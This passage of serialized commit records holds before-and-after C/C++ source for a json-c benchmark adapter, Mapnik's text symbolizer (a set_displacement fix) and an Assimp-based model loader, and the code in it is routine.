TEST_STATISTICS\n    virtual bool Statistics(const ParseResultBase* parseResult, Stat* stat) const {\n        const JsoncParseResult* pr = static_cast<const JsoncParseResult*>(parseResult);\n        memset(stat, 0, sizeof(Stat));\n        GenStat(stat, (json_object*)pr->root);\n        return true;\n    }\n#endif\n\n#if TEST_CONFORMANCE\n    virtual bool ParseDouble(const char* json, double* d) const {\n        JsoncParseResult pr;\n        pr.root = json_tokener_parse(json);\n        if (pr.root && \n            json_object_get_type(pr.root) == json_type_array &&\n            json_object_array_length(pr.root) == 1 &&\n            json_object_get_type(json_object_array_get_idx(pr.root, 0)) == json_type_double) \n        {\n            *d = json_object_get_double(json_object_array_get_idx(pr.root, 0));\n            return true;\n        }\n        else\n            return false;\n    }\n\n    virtual bool ParseString(const char* json, std::string& s) const {\n        JsoncParseResult pr;\n        pr.root = json_tokener_parse(json);\n        if (pr.root && \n            json_object_get_type(pr.root) == json_type_array &&\n            json_object_array_length(pr.root) == 1 &&\n            json_object_get_type(json_object_array_get_idx(pr.root, 0)) == json_type_string) \n        {\n            s = std::string(\n                json_object_get_string(json_object_array_get_idx(pr.root, 0)),\n                json_object_get_string_len(json_object_array_get_idx(pr.root, 0)));\n            return true;\n        }\n        else\n            return false;\n    }\n#endif\n};\n\nREGISTER_TEST(JsoncTest);\n\n#endif<commit_msg>Ignore json-c on cygwin 32-bit (due to crash)<commit_after>#include \"..\/test.h\"\n\n#if (!defined(_MSC_VER) || _MSC_VER >= 1800) && !(defined(__CYGWIN__) && defined(__i386__)) \/\/ Before VC2013 do not support C99 variable declaration, and crash in cygwin 32-bit\n\n#include \"json-c\/json.h\"\n\nstatic void GenStat(Stat* s, json_object* v) {\n    switch (json_object_get_type(v)) {\n    case json_type_object:\n        {\n            json_object_object_foreach(v, key, val) {\n                GenStat(s, val);\n                s->stringCount++;\n                s->stringLength += strlen(key);\n                s->memberCount++;\n            }\n            s->objectCount++;\n        }\n        break;\n\n    case json_type_array:\n        for (int i = 0; i < json_object_array_length(v); i++)\n            GenStat(s, json_object_array_get_idx(v, i));\n        s->elementCount += json_object_array_length(v);\n        s->arrayCount++;\n        break;\n\n    case json_type_string:\n        s->stringCount++;\n        s->stringLength += json_object_get_string_len(v);\n        break;\n\n    case json_type_int:\n    case json_type_double:\n        s->numberCount++;\n        break;\n\n    case json_type_boolean:\n        if (json_object_get_boolean(v))\n            s->trueCount++;\n        else\n            s->falseCount++;\n        break;\n\n        break;\n\n    case json_type_null:\n        s->nullCount++;\n        break;\n    }\n}\n\nclass JsoncParseResult : public ParseResultBase {\npublic:\n    JsoncParseResult() : root() {}\n    ~JsoncParseResult() { json_object_put(root); }\n\n    json_object *root;\n};\n\nclass JsoncStringResult : public StringResultBase {\npublic:\n    JsoncStringResult() : s() {}\n    ~JsoncStringResult() { free(s); }\n\n    virtual const char* c_str() const { return s; }\n\n    char* s;\n};\n\nclass JsoncTest : public TestBase {\npublic:\n#if TEST_INFO\n    virtual const char* GetName() const { return \"json-c (C)\"; }\n    virtual const char* GetFilename() const { return __FILE__; }\n#endif\n\t\n#if TEST_PARSE\n    virtual ParseResultBase* Parse(const char* json, size_t length) const {\n        (void)length;\n        JsoncParseResult* pr = new JsoncParseResult;\n        pr->root = json_tokener_parse(json);\n        if (!pr->root) {\n            delete pr;\n            return 0;\n        }\n    \treturn pr;\n    }\n#endif\n\n#if TEST_STRINGIFY\n    virtual StringResultBase* Stringify(const ParseResultBase* parseResult) const {\n        const JsoncParseResult* pr = static_cast<const JsoncParseResult*>(parseResult);\n        JsoncStringResult* sr = new JsoncStringResult;\n        sr->s = StrDup(json_object_to_json_string_ext(pr->root, JSON_C_TO_STRING_PLAIN));\n        return sr;\n    }\n#endif\n\n#if TEST_PRETTIFY\n    virtual StringResultBase* Prettify(const ParseResultBase* parseResult) const {\n        const JsoncParseResult* pr = static_cast<const JsoncParseResult*>(parseResult);\n        JsoncStringResult* sr = new JsoncStringResult;\n        sr->s = StrDup(json_object_to_json_string_ext(pr->root, JSON_C_TO_STRING_PRETTY));\n        return sr;\n    }\n#endif\n\n#if TEST_STATISTICS\n    virtual bool Statistics(const ParseResultBase* parseResult, Stat* stat) const {\n        const JsoncParseResult* pr = static_cast<const JsoncParseResult*>(parseResult);\n        memset(stat, 0, sizeof(Stat));\n        GenStat(stat, (json_object*)pr->root);\n        return true;\n    }\n#endif\n\n#if TEST_CONFORMANCE\n    virtual bool ParseDouble(const char* json, double* d) const {\n        JsoncParseResult pr;\n        pr.root = json_tokener_parse(json);\n        if (pr.root && \n            json_object_get_type(pr.root) == json_type_array &&\n            json_object_array_length(pr.root) == 1 &&\n            json_object_get_type(json_object_array_get_idx(pr.root, 0)) == json_type_double) \n        {\n            *d = json_object_get_double(json_object_array_get_idx(pr.root, 0));\n            return true;\n        }\n        else\n            return false;\n    }\n\n    virtual bool ParseString(const char* json, std::string& s) const {\n        JsoncParseResult pr;\n        pr.root = json_tokener_parse(json);\n        if (pr.root && \n            json_object_get_type(pr.root) == json_type_array &&\n            json_object_array_length(pr.root) == 1 &&\n            json_object_get_type(json_object_array_get_idx(pr.root, 0)) == json_type_string) \n        {\n            s = std::string(\n                json_object_get_string(json_object_array_get_idx(pr.root, 0)),\n                json_object_get_string_len(json_object_array_get_idx(pr.root, 0)));\n            return true;\n        }\n        else\n            return false;\n    }\n#endif\n};\n\nREGISTER_TEST(JsoncTest);\n\n#endif<|endoftext|>"}
{"text":"<commit_before>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2011 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n\/\/$Id$\n\n\/\/mapnik\n#include <mapnik\/text_symbolizer.hpp>\n\/\/ boost\n#include <boost\/scoped_ptr.hpp>\n#include <mapnik\/text_processing.hpp>\n\nnamespace mapnik\n{\n\nstatic const char * label_placement_strings[] = {\n    \"point\",\n    \"line\",\n    \"vertex\",\n    \"interior\",\n    \"\"\n};\n\n\nIMPLEMENT_ENUM( label_placement_e, label_placement_strings )\n\nstatic const char * vertical_alignment_strings[] = {\n    \"top\",\n    \"middle\",\n    \"bottom\",\n    \"auto\",\n    \"\"\n};\n\n\nIMPLEMENT_ENUM( vertical_alignment_e, vertical_alignment_strings )\n\nstatic const char * horizontal_alignment_strings[] = {\n    \"left\",\n    \"middle\",\n    \"right\",\n    \"auto\",\n    \"\"\n};\n\n\nIMPLEMENT_ENUM( horizontal_alignment_e, horizontal_alignment_strings )\n\nstatic const char * justify_alignment_strings[] = {\n    \"left\",\n    \"center\",\n    \"right\",\n    \"\"\n};\n\n\nIMPLEMENT_ENUM( justify_alignment_e, justify_alignment_strings )\n\nstatic const char * text_transform_strings[] = {\n    \"none\",\n    \"uppercase\",\n    \"lowercase\",\n    \"capitalize\",\n    \"\"\n};\n\n\nIMPLEMENT_ENUM( text_transform_e, text_transform_strings )\n\n\ntext_symbolizer::text_symbolizer(text_placements_ptr placements)\n    : symbolizer_base(),\n      placement_options_(placements)\n{\n\n}\n\ntext_symbolizer::text_symbolizer(expression_ptr name, std::string const& face_name,\n                                 float size, color const& fill,\n                                 text_placements_ptr placements)\n    : symbolizer_base(),\n      placement_options_(placements)\n{\n    set_name(name);\n    set_face_name(face_name);\n    set_text_size(size);\n    set_fill(fill);\n}\n\ntext_symbolizer::text_symbolizer(expression_ptr name, float size, color const& fill,\n                                 text_placements_ptr placements)\n    : symbolizer_base(),\n      placement_options_(placements)\n{\n    set_name(name);\n    set_text_size(size);\n    set_fill(fill);\n}\n\ntext_symbolizer::text_symbolizer(text_symbolizer const& rhs)\n    : symbolizer_base(rhs),\n      placement_options_(rhs.placement_options_) \/*TODO: Copy options! *\/\n{\n}\n\ntext_symbolizer& text_symbolizer::operator=(text_symbolizer const& other)\n{\n    if (this == &other)\n        return *this;\n    placement_options_ = other.placement_options_; \/*TODO: Copy options? *\/\n    std::clog << \"TODO: Metawriter (text_symbolizer::operator=)\\n\";\n    return *this;\n}\n\nexpression_ptr text_symbolizer::get_name() const\n{\n    return expression_ptr();\n}\n\nvoid text_symbolizer::set_name(expression_ptr name)\n{\n    placement_options_->properties.processor.set_old_style_expression(name);\n}\n\nexpression_ptr text_symbolizer::get_orientation() const\n{\n    return placement_options_->properties.orientation;\n}\n\nvoid text_symbolizer::set_orientation(expression_ptr orientation)\n{\n    placement_options_->properties.orientation = orientation;\n}\n\nstd::string const&  text_symbolizer::get_face_name() const\n{\n    return placement_options_->properties.processor.defaults.face_name;\n}\n\nvoid text_symbolizer::set_face_name(std::string face_name)\n{\n    placement_options_->properties.processor.defaults.face_name = face_name;\n}\n\nvoid text_symbolizer::set_fontset(font_set const& fontset)\n{\n    placement_options_->properties.processor.defaults.fontset = fontset;\n}\n\nfont_set const& text_symbolizer::get_fontset() const\n{\n    return placement_options_->properties.processor.defaults.fontset;\n}\n\nunsigned  text_symbolizer::get_text_ratio() const\n{\n    return placement_options_->properties.text_ratio;\n}\n\nvoid  text_symbolizer::set_text_ratio(unsigned ratio)\n{\n    placement_options_->properties.text_ratio = ratio;\n}\n\nunsigned  text_symbolizer::get_wrap_width() const\n{\n    return placement_options_->properties.wrap_width;\n}\n\nvoid  text_symbolizer::set_wrap_width(unsigned width)\n{\n    placement_options_->properties.wrap_width = width;\n}\n\nbool  text_symbolizer::get_wrap_before() const\n{\n    return placement_options_->properties.processor.defaults.wrap_before;\n}\n\nvoid  text_symbolizer::set_wrap_before(bool wrap_before)\n{\n    placement_options_->properties.processor.defaults.wrap_before = wrap_before;\n}\n\nunsigned char text_symbolizer::get_wrap_char() const\n{\n    return placement_options_->properties.processor.defaults.wrap_char;\n}\n\nstd::string text_symbolizer::get_wrap_char_string() const\n{\n    return std::string(1, placement_options_->properties.processor.defaults.wrap_char);\n}\n\nvoid  text_symbolizer::set_wrap_char(unsigned char character)\n{\n    placement_options_->properties.processor.defaults.wrap_char = character;\n}\n\nvoid  text_symbolizer::set_wrap_char_from_string(std::string const& character)\n{\n    placement_options_->properties.processor.defaults.wrap_char = (character)[0];\n}\n\ntext_transform_e  text_symbolizer::get_text_transform() const\n{\n    return placement_options_->properties.processor.defaults.text_transform;\n}\n\nvoid  text_symbolizer::set_text_transform(text_transform_e convert)\n{\n    placement_options_->properties.processor.defaults.text_transform = convert;\n}\n\nunsigned  text_symbolizer::get_line_spacing() const\n{\n    return placement_options_->properties.processor.defaults.line_spacing;\n}\n\nvoid  text_symbolizer::set_line_spacing(unsigned spacing)\n{\n    placement_options_->properties.processor.defaults.line_spacing = spacing;\n}\n\nunsigned  text_symbolizer::get_character_spacing() const\n{\n    return placement_options_->properties.processor.defaults.character_spacing;\n}\n\nvoid  text_symbolizer::set_character_spacing(unsigned spacing)\n{\n    placement_options_->properties.processor.defaults.character_spacing = spacing;\n}\n\nunsigned  text_symbolizer::get_label_spacing() const\n{\n    return placement_options_->properties.label_spacing;\n}\n\nvoid  text_symbolizer::set_label_spacing(unsigned spacing)\n{\n    placement_options_->properties.label_spacing = spacing;\n}\n\nunsigned  text_symbolizer::get_label_position_tolerance() const\n{\n    return placement_options_->properties.label_position_tolerance;\n}\n\nvoid  text_symbolizer::set_label_position_tolerance(unsigned tolerance)\n{\n    placement_options_->properties.label_position_tolerance = tolerance;\n}\n\nbool  text_symbolizer::get_force_odd_labels() const\n{\n    return placement_options_->properties.force_odd_labels;\n}\n\nvoid  text_symbolizer::set_force_odd_labels(bool force)\n{\n    placement_options_->properties.force_odd_labels = force;\n}\n\ndouble text_symbolizer::get_max_char_angle_delta() const\n{\n    return placement_options_->properties.max_char_angle_delta;\n}\n\nvoid text_symbolizer::set_max_char_angle_delta(double angle)\n{\n    placement_options_->properties.max_char_angle_delta = angle;\n}\n\nvoid text_symbolizer::set_text_size(float size)\n{\n    placement_options_->properties.processor.defaults.text_size = size;\n}\n\nfloat text_symbolizer::get_text_size() const\n{\n    return placement_options_->properties.processor.defaults.text_size;\n}\n\nvoid text_symbolizer::set_fill(color const& fill)\n{\n    placement_options_->properties.processor.defaults.fill = fill;\n}\n\ncolor const&  text_symbolizer::get_fill() const\n{\n    return placement_options_->properties.processor.defaults.fill;\n}\n\nvoid  text_symbolizer::set_halo_fill(color const& fill)\n{\n    placement_options_->properties.processor.defaults.halo_fill = fill;\n}\n\ncolor const&  text_symbolizer::get_halo_fill() const\n{\n    return placement_options_->properties.processor.defaults.halo_fill;\n}\n\nvoid  text_symbolizer::set_halo_radius(double radius)\n{\n    placement_options_->properties.processor.defaults.halo_radius = radius;\n}\n\ndouble text_symbolizer::get_halo_radius() const\n{\n    return placement_options_->properties.processor.defaults.halo_radius;\n}\n\nvoid  text_symbolizer::set_label_placement(label_placement_e label_p)\n{\n    placement_options_->properties.label_placement = label_p;\n}\n\nlabel_placement_e  text_symbolizer::get_label_placement() const\n{\n    return placement_options_->properties.label_placement;\n}\n\nvoid  text_symbolizer::set_displacement(double x, double y)\n{\n    placement_options_->properties.displacement = boost::make_tuple(x,y);\n}\n\nvoid text_symbolizer::set_displacement(position const& p)\n{\n    placement_options_->set_default_displacement(p);\n}\n\nposition const& text_symbolizer::get_displacement() const\n{\n    return placement_options_->properties.displacement;\n}\n\nbool text_symbolizer::get_avoid_edges() const\n{\n    return placement_options_->properties.avoid_edges;\n}\n\nvoid text_symbolizer::set_avoid_edges(bool avoid)\n{\n    placement_options_->properties.avoid_edges = avoid;\n}\n\ndouble text_symbolizer::get_minimum_distance() const\n{\n    return placement_options_->properties.minimum_distance;\n}\n\nvoid text_symbolizer::set_minimum_distance(double distance)\n{\n    placement_options_->properties.minimum_distance = distance;\n}\n\ndouble text_symbolizer::get_minimum_padding() const\n{\n    return placement_options_->properties.minimum_padding;\n}\n\nvoid text_symbolizer::set_minimum_padding(double distance)\n{\n    placement_options_->properties.minimum_padding = distance;\n}\n\ndouble text_symbolizer::get_minimum_path_length() const\n{\n    return placement_options_->properties.minimum_path_length;\n}\n\nvoid text_symbolizer::set_minimum_path_length(double size)\n{\n    placement_options_->properties.minimum_path_length = size;\n}\n\nvoid text_symbolizer::set_allow_overlap(bool overlap)\n{\n    placement_options_->properties.allow_overlap = overlap;\n}\n\nbool text_symbolizer::get_allow_overlap() const\n{\n    return placement_options_->properties.allow_overlap;\n}\n\nvoid text_symbolizer::set_text_opacity(double text_opacity)\n{\n    placement_options_->properties.processor.defaults.text_opacity = text_opacity;\n}\n\ndouble text_symbolizer::get_text_opacity() const\n{\n    return placement_options_->properties.processor.defaults.text_opacity;\n}\n\nvoid text_symbolizer::set_vertical_alignment(vertical_alignment_e valign)\n{\n    placement_options_->properties.valign = valign;\n}\n\nvertical_alignment_e text_symbolizer::get_vertical_alignment() const\n{\n    return placement_options_->properties.valign;\n}\n\nvoid text_symbolizer::set_horizontal_alignment(horizontal_alignment_e halign)\n{\n    placement_options_->properties.halign = halign;\n}\n\nhorizontal_alignment_e text_symbolizer::get_horizontal_alignment() const\n{\n    return placement_options_->properties.halign;\n}\n\nvoid text_symbolizer::set_justify_alignment(justify_alignment_e jalign)\n{\n    placement_options_->properties.jalign = jalign;\n}\n\njustify_alignment_e text_symbolizer::get_justify_alignment() const\n{\n    return placement_options_->properties.jalign;\n}\n\ntext_placements_ptr text_symbolizer::get_placement_options() const\n{\n    return placement_options_;\n}\n\nvoid text_symbolizer::set_placement_options(text_placements_ptr placement_options)\n{\n    placement_options_ = placement_options;\n}\n\n\n}\n<commit_msg>Fix set_displacement().<commit_after>\/*****************************************************************************\n *\n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2011 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *****************************************************************************\/\n\n\/\/$Id$\n\n\/\/mapnik\n#include <mapnik\/text_symbolizer.hpp>\n\/\/ boost\n#include <boost\/scoped_ptr.hpp>\n#include <mapnik\/text_processing.hpp>\n\nnamespace mapnik\n{\n\nstatic const char * label_placement_strings[] = {\n    \"point\",\n    \"line\",\n    \"vertex\",\n    \"interior\",\n    \"\"\n};\n\n\nIMPLEMENT_ENUM( label_placement_e, label_placement_strings )\n\nstatic const char * vertical_alignment_strings[] = {\n    \"top\",\n    \"middle\",\n    \"bottom\",\n    \"auto\",\n    \"\"\n};\n\n\nIMPLEMENT_ENUM( vertical_alignment_e, vertical_alignment_strings )\n\nstatic const char * horizontal_alignment_strings[] = {\n    \"left\",\n    \"middle\",\n    \"right\",\n    \"auto\",\n    \"\"\n};\n\n\nIMPLEMENT_ENUM( horizontal_alignment_e, horizontal_alignment_strings )\n\nstatic const char * justify_alignment_strings[] = {\n    \"left\",\n    \"center\",\n    \"right\",\n    \"\"\n};\n\n\nIMPLEMENT_ENUM( justify_alignment_e, justify_alignment_strings )\n\nstatic const char * text_transform_strings[] = {\n    \"none\",\n    \"uppercase\",\n    \"lowercase\",\n    \"capitalize\",\n    \"\"\n};\n\n\nIMPLEMENT_ENUM( text_transform_e, text_transform_strings )\n\n\ntext_symbolizer::text_symbolizer(text_placements_ptr placements)\n    : symbolizer_base(),\n      placement_options_(placements)\n{\n\n}\n\ntext_symbolizer::text_symbolizer(expression_ptr name, std::string const& face_name,\n                                 float size, color const& fill,\n                                 text_placements_ptr placements)\n    : symbolizer_base(),\n      placement_options_(placements)\n{\n    set_name(name);\n    set_face_name(face_name);\n    set_text_size(size);\n    set_fill(fill);\n}\n\ntext_symbolizer::text_symbolizer(expression_ptr name, float size, color const& fill,\n                                 text_placements_ptr placements)\n    : symbolizer_base(),\n      placement_options_(placements)\n{\n    set_name(name);\n    set_text_size(size);\n    set_fill(fill);\n}\n\ntext_symbolizer::text_symbolizer(text_symbolizer const& rhs)\n    : symbolizer_base(rhs),\n      placement_options_(rhs.placement_options_) \/*TODO: Copy options! *\/\n{\n}\n\ntext_symbolizer& text_symbolizer::operator=(text_symbolizer const& other)\n{\n    if (this == &other)\n        return *this;\n    placement_options_ = other.placement_options_; \/*TODO: Copy options? *\/\n    std::clog << \"TODO: Metawriter (text_symbolizer::operator=)\\n\";\n    return *this;\n}\n\nexpression_ptr text_symbolizer::get_name() const\n{\n    return expression_ptr();\n}\n\nvoid text_symbolizer::set_name(expression_ptr name)\n{\n    placement_options_->properties.processor.set_old_style_expression(name);\n}\n\nexpression_ptr text_symbolizer::get_orientation() const\n{\n    return placement_options_->properties.orientation;\n}\n\nvoid text_symbolizer::set_orientation(expression_ptr orientation)\n{\n    placement_options_->properties.orientation = orientation;\n}\n\nstd::string const&  text_symbolizer::get_face_name() const\n{\n    return placement_options_->properties.processor.defaults.face_name;\n}\n\nvoid text_symbolizer::set_face_name(std::string face_name)\n{\n    placement_options_->properties.processor.defaults.face_name = face_name;\n}\n\nvoid text_symbolizer::set_fontset(font_set const& fontset)\n{\n    placement_options_->properties.processor.defaults.fontset = fontset;\n}\n\nfont_set const& text_symbolizer::get_fontset() const\n{\n    return placement_options_->properties.processor.defaults.fontset;\n}\n\nunsigned  text_symbolizer::get_text_ratio() const\n{\n    return placement_options_->properties.text_ratio;\n}\n\nvoid  text_symbolizer::set_text_ratio(unsigned ratio)\n{\n    placement_options_->properties.text_ratio = ratio;\n}\n\nunsigned  text_symbolizer::get_wrap_width() const\n{\n    return placement_options_->properties.wrap_width;\n}\n\nvoid  text_symbolizer::set_wrap_width(unsigned width)\n{\n    placement_options_->properties.wrap_width = width;\n}\n\nbool  text_symbolizer::get_wrap_before() const\n{\n    return placement_options_->properties.processor.defaults.wrap_before;\n}\n\nvoid  text_symbolizer::set_wrap_before(bool wrap_before)\n{\n    placement_options_->properties.processor.defaults.wrap_before = wrap_before;\n}\n\nunsigned char text_symbolizer::get_wrap_char() const\n{\n    return placement_options_->properties.processor.defaults.wrap_char;\n}\n\nstd::string text_symbolizer::get_wrap_char_string() const\n{\n    return std::string(1, placement_options_->properties.processor.defaults.wrap_char);\n}\n\nvoid  text_symbolizer::set_wrap_char(unsigned char character)\n{\n    placement_options_->properties.processor.defaults.wrap_char = character;\n}\n\nvoid  text_symbolizer::set_wrap_char_from_string(std::string const& character)\n{\n    placement_options_->properties.processor.defaults.wrap_char = (character)[0];\n}\n\ntext_transform_e  text_symbolizer::get_text_transform() const\n{\n    return placement_options_->properties.processor.defaults.text_transform;\n}\n\nvoid  text_symbolizer::set_text_transform(text_transform_e convert)\n{\n    placement_options_->properties.processor.defaults.text_transform = convert;\n}\n\nunsigned  text_symbolizer::get_line_spacing() const\n{\n    return placement_options_->properties.processor.defaults.line_spacing;\n}\n\nvoid  text_symbolizer::set_line_spacing(unsigned spacing)\n{\n    placement_options_->properties.processor.defaults.line_spacing = spacing;\n}\n\nunsigned  text_symbolizer::get_character_spacing() const\n{\n    return placement_options_->properties.processor.defaults.character_spacing;\n}\n\nvoid  text_symbolizer::set_character_spacing(unsigned spacing)\n{\n    placement_options_->properties.processor.defaults.character_spacing = spacing;\n}\n\nunsigned  text_symbolizer::get_label_spacing() const\n{\n    return placement_options_->properties.label_spacing;\n}\n\nvoid  text_symbolizer::set_label_spacing(unsigned spacing)\n{\n    placement_options_->properties.label_spacing = spacing;\n}\n\nunsigned  text_symbolizer::get_label_position_tolerance() const\n{\n    return placement_options_->properties.label_position_tolerance;\n}\n\nvoid  text_symbolizer::set_label_position_tolerance(unsigned tolerance)\n{\n    placement_options_->properties.label_position_tolerance = tolerance;\n}\n\nbool  text_symbolizer::get_force_odd_labels() const\n{\n    return placement_options_->properties.force_odd_labels;\n}\n\nvoid  text_symbolizer::set_force_odd_labels(bool force)\n{\n    placement_options_->properties.force_odd_labels = force;\n}\n\ndouble text_symbolizer::get_max_char_angle_delta() const\n{\n    return placement_options_->properties.max_char_angle_delta;\n}\n\nvoid text_symbolizer::set_max_char_angle_delta(double angle)\n{\n    placement_options_->properties.max_char_angle_delta = angle;\n}\n\nvoid text_symbolizer::set_text_size(float size)\n{\n    placement_options_->properties.processor.defaults.text_size = size;\n}\n\nfloat text_symbolizer::get_text_size() const\n{\n    return placement_options_->properties.processor.defaults.text_size;\n}\n\nvoid text_symbolizer::set_fill(color const& fill)\n{\n    placement_options_->properties.processor.defaults.fill = fill;\n}\n\ncolor const&  text_symbolizer::get_fill() const\n{\n    return placement_options_->properties.processor.defaults.fill;\n}\n\nvoid  text_symbolizer::set_halo_fill(color const& fill)\n{\n    placement_options_->properties.processor.defaults.halo_fill = fill;\n}\n\ncolor const&  text_symbolizer::get_halo_fill() const\n{\n    return placement_options_->properties.processor.defaults.halo_fill;\n}\n\nvoid  text_symbolizer::set_halo_radius(double radius)\n{\n    placement_options_->properties.processor.defaults.halo_radius = radius;\n}\n\ndouble text_symbolizer::get_halo_radius() const\n{\n    return placement_options_->properties.processor.defaults.halo_radius;\n}\n\nvoid  text_symbolizer::set_label_placement(label_placement_e label_p)\n{\n    placement_options_->properties.label_placement = label_p;\n}\n\nlabel_placement_e  text_symbolizer::get_label_placement() const\n{\n    return placement_options_->properties.label_placement;\n}\n\nvoid  text_symbolizer::set_displacement(double x, double y)\n{\n    placement_options_->properties.displacement = boost::make_tuple(x,y);\n}\n\nvoid text_symbolizer::set_displacement(position const& p)\n{\n    placement_options_->properties.displacement = p;\n}\n\nposition const& text_symbolizer::get_displacement() const\n{\n    return placement_options_->properties.displacement;\n}\n\nbool text_symbolizer::get_avoid_edges() const\n{\n    return placement_options_->properties.avoid_edges;\n}\n\nvoid text_symbolizer::set_avoid_edges(bool avoid)\n{\n    placement_options_->properties.avoid_edges = avoid;\n}\n\ndouble text_symbolizer::get_minimum_distance() const\n{\n    return placement_options_->properties.minimum_distance;\n}\n\nvoid text_symbolizer::set_minimum_distance(double distance)\n{\n    placement_options_->properties.minimum_distance = distance;\n}\n\ndouble text_symbolizer::get_minimum_padding() const\n{\n    return placement_options_->properties.minimum_padding;\n}\n\nvoid text_symbolizer::set_minimum_padding(double distance)\n{\n    placement_options_->properties.minimum_padding = distance;\n}\n\ndouble text_symbolizer::get_minimum_path_length() const\n{\n    return placement_options_->properties.minimum_path_length;\n}\n\nvoid text_symbolizer::set_minimum_path_length(double size)\n{\n    placement_options_->properties.minimum_path_length = size;\n}\n\nvoid text_symbolizer::set_allow_overlap(bool overlap)\n{\n    placement_options_->properties.allow_overlap = overlap;\n}\n\nbool text_symbolizer::get_allow_overlap() const\n{\n    return placement_options_->properties.allow_overlap;\n}\n\nvoid text_symbolizer::set_text_opacity(double text_opacity)\n{\n    placement_options_->properties.processor.defaults.text_opacity = text_opacity;\n}\n\ndouble text_symbolizer::get_text_opacity() const\n{\n    return placement_options_->properties.processor.defaults.text_opacity;\n}\n\nvoid text_symbolizer::set_vertical_alignment(vertical_alignment_e valign)\n{\n    placement_options_->properties.valign = valign;\n}\n\nvertical_alignment_e text_symbolizer::get_vertical_alignment() const\n{\n    return placement_options_->properties.valign;\n}\n\nvoid text_symbolizer::set_horizontal_alignment(horizontal_alignment_e halign)\n{\n    placement_options_->properties.halign = halign;\n}\n\nhorizontal_alignment_e text_symbolizer::get_horizontal_alignment() const\n{\n    return placement_options_->properties.halign;\n}\n\nvoid text_symbolizer::set_justify_alignment(justify_alignment_e jalign)\n{\n    placement_options_->properties.jalign = jalign;\n}\n\njustify_alignment_e text_symbolizer::get_justify_alignment() const\n{\n    return placement_options_->properties.jalign;\n}\n\ntext_placements_ptr text_symbolizer::get_placement_options() const\n{\n    return placement_options_;\n}\n\nvoid text_symbolizer::set_placement_options(text_placements_ptr placement_options)\n{\n    placement_options_ = placement_options;\n}\n\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ model.cpp\n#include \"model.h\"\n\n#include <assimp\/Importer.hpp>\n#include <assimp\/postprocess.h>\n\nnamespace demo\n{\n\nnamespace rndr\n{\n\n\/\/ OPERATORS\nModel& Model::operator=( Model&& other )\n{\n    if ( isOnGpu() )\n    {\n        remove();\n    }\n\n    _meshes = std::move( other._meshes );\n    _isOnGpu = other._isOnGpu;\n\n    other._isOnGpu = false;\n\n    return *this;\n}\n\n\/\/ MEMBER FUNCTIONS\nvoid Model::load( const String& path )\n{\n    if ( isLoaded() )\n    {\n        return;\n    }\n\n    if ( path.empty() )\n    {\n        throw std::runtime_error( \"File not specified!\" );\n    }\n\n    \/\/ load file\n    Assimp::Importer importer;\n    const aiScene* data = importer.ReadFile( path, aiProcess_SortByPType );\n\n    if ( !data )\n    {\n        throw std::runtime_error( importer.GetErrorString() );\n    }\n\n    \/\/ generate meshes\n    for ( uint32 i = 0; i < data->mNumMeshes; ++i )\n    {\n        _meshes.push( std::move( Mesh( *( data->mMeshes[i] ) ) ) );\n    }\n}\n\nvoid Model::push( const Shader& shader )\n{\n    if ( isOnGpu() )\n    {\n        return;\n    }\n\n    for ( auto iter = _meshes.begin(); iter != _meshes.end(); ++iter )\n    {\n        iter->push( shader );\n    }\n\n    _isOnGpu = true;\n}\n\nvoid Model::render( const Shader& shader )\n{\n    if ( !isLoaded() || !isOnGpu() )\n    {\n        return;\n    }\n\n    for ( auto iter = _meshes.begin(); iter != _meshes.end(); ++iter )\n    {\n        iter->render( shader );\n    }\n}\n\nvoid Model::remove()\n{\n    if ( !isOnGpu() )\n    {\n        return;\n    }\n\n    for ( auto iter = _meshes.begin(); iter != _meshes.end(); ++iter )\n    {\n        iter->remove();\n    }\n\n    _isOnGpu = false;\n}\n\n} \/\/ End nspc rndr\n\n} \/\/ End nspc demo<commit_msg>Ensure path is not empty.<commit_after>\/\/ model.cpp\n#include \"model.h\"\n\n#include <assimp\/Importer.hpp>\n#include <assimp\/postprocess.h>\n\nnamespace demo\n{\n\nnamespace rndr\n{\n\n\/\/ OPERATORS\nModel& Model::operator=( Model&& other )\n{\n    if ( isOnGpu() )\n    {\n        remove();\n    }\n\n    _meshes = std::move( other._meshes );\n    _isOnGpu = other._isOnGpu;\n\n    other._isOnGpu = false;\n\n    return *this;\n}\n\n\/\/ MEMBER FUNCTIONS\nvoid Model::load( const String& path )\n{\n    if ( isLoaded() )\n    {\n        return;\n    }\n\n\tassert( !path.empty() );\n\n    \/\/ load file\n    Assimp::Importer importer;\n    const aiScene* data = importer.ReadFile( path, aiProcess_SortByPType );\n\n    if ( data == nullptr )\n    {\n        throw std::runtime_error( importer.GetErrorString() );\n    }\n\n    \/\/ generate meshes\n    for ( uint32 i = 0; i < data->mNumMeshes; ++i )\n    {\n        _meshes.push( std::move( Mesh( *( data->mMeshes[i] ) ) ) );\n    }\n}\n\nvoid Model::push( const Shader& shader )\n{\n    if ( isOnGpu() )\n    {\n        return;\n    }\n\n    for ( auto iter = _meshes.begin(); iter != _meshes.end(); ++iter )\n    {\n        iter->push( shader );\n    }\n\n    _isOnGpu = true;\n}\n\nvoid Model::render( const Shader& shader )\n{\n    if ( !isLoaded() || !isOnGpu() )\n    {\n        